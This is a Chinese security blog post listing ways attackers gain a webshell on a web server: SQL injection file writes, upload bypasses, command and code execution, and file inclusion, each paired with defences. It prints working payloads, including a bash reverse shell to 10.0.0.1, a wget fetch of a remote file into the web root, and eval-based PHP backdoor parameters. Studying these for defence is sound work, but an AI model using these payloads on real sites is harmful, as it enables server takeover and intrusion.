本文作者:心月

web攻击如何获取webshell以及对应的防御方法

心月IT博客 2019-03-06
摘要:webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

    webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

那么web攻击如何获取webshell的呢?

1、SQL注入获取Webshell

**条件:

当前连接Mysql数据库的账户 具有FIle权限

知道网站的绝对路径
    利用php报错信息
    Google搜索报错信息
    load_file()读取配置文件信息
    
MySQL有权限到网站的目录下写文件

单引号不能被转义

如何利用?

 union select '<?php phpinfo() ?>' into outfile '/var/www/html/1.php'

防御:

数据库连接账号不要使用root权限
PHP报错模式关闭
mysql账户没有权限向网站目录写文件


2、上传漏洞获取Webshell

**条件:

寻找一个上传点,查看上传点是否可用。

如何利用?

首先判断是程序员自己写的上传点,还是编辑器的上传功能
    如果是编辑器上传功能,查找资料找到当前编辑器的漏洞
    如果是程序员写的上传点
        上传一个正常的jpg图片 查看上传点是否可用
        上传一个正常的jpg图片,burp拦截,修改后缀为php  (可以检测  前端验证  MIME检测  文件内容检测  后缀检测)
        上传一个正常的jpg图片,burp拦截, 00截断 1.phph%00.jpg
    判断服务器是什么类型,web服务器程序,是什么类型,版本号多少
          
    利用解析漏洞


3、任意命令执行获取Webshell

**条件:

知道网站绝对路径
    利用代码执行漏洞读取Apache配置文件,找根目录
    执行pwd,获取当前工作路径
Apache 权限对网站目录写文件
    网站图片上传目录,一般apache都有可写权限

如何利用?

index.php?command=echo "<?php phpinfo() ?>" > /var/www/html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php http://xxxx/phpinfo.txt    (wget 没有的话用curl)

防御

修补命令执行漏洞

其他

任意命令执行漏洞在不获取webshell 的情况下也可以控制服务器,不需要获取webshell
           任意命令执行直接反弹一个shell 
                    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
           任意命令执行可以,执行远程Samba里面的位二进制文件
                     10.0.0.1shell.exe  (远程服务器上的Samba服务)
                     powershell


4、任意代码执行获取Webshell

**条件:

apache对网站目录有可写权限 (一般都有权限)

如何利用?

在有写权限,且file_put_contents没有被禁用时
    index.php?code=file_put_contents($_POST[f], $_POST[d]);f=phpinfo.php&d=<?php phpinfo(); ?>
在没有写权限的时候,可以直接用菜刀链接
    index.php?code={${ eval($_POST[1]); }}

防御

使用json保存数组,当读取时就不需要使用eval了
对于必须使用eval的地方,一定严格处理用户数据
字符串使用单引号包括可控代码,插入前使用addslashes转义
放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象


5、任意文件包含获取Webshell

**条件:

在引用文件时,引用的文件名,用户可控,由于传入的文件名没有经过校验,或者校验被绕过。

如何利用?

本地文件包含:
    上传一个图片马,然后包含图片Getshell
    包含日志文件Getshell
    包含/proc/self/environ文件Getshell
    包含data://或php:input等伪协议(需要allow_url_include=on)
远程文件包含:
    需要php.ini的配置选项allow_url_fopen和allow_url_include 为On (很少见)
    index.php?page=http://www.xx.com/1.txt

防御

php中可以使用 open_basedir配置限制访问权限在指定区域
过滤 . (点) / (斜杠)   (反斜杠)
禁止服务器远程文件包含


其他获取webshell的途径

后台相关功能获取Webshell 

一些后台自带有数据库管理执行sql语句、或者执行cmd命令、数据库备份/恢复功能、文件管理功能等等


文章版权及转载声明:

作者:心月 本文地址:http://www.xinyueseo.com/websecurity/157.html发布于 2019-10-21
文章转载或复制请以超链接形式并注明出处心月IT博客

分享到:
赞(

发表评论

快捷输入:

    评论列表 (有 0 条评论,人围观)参与讨论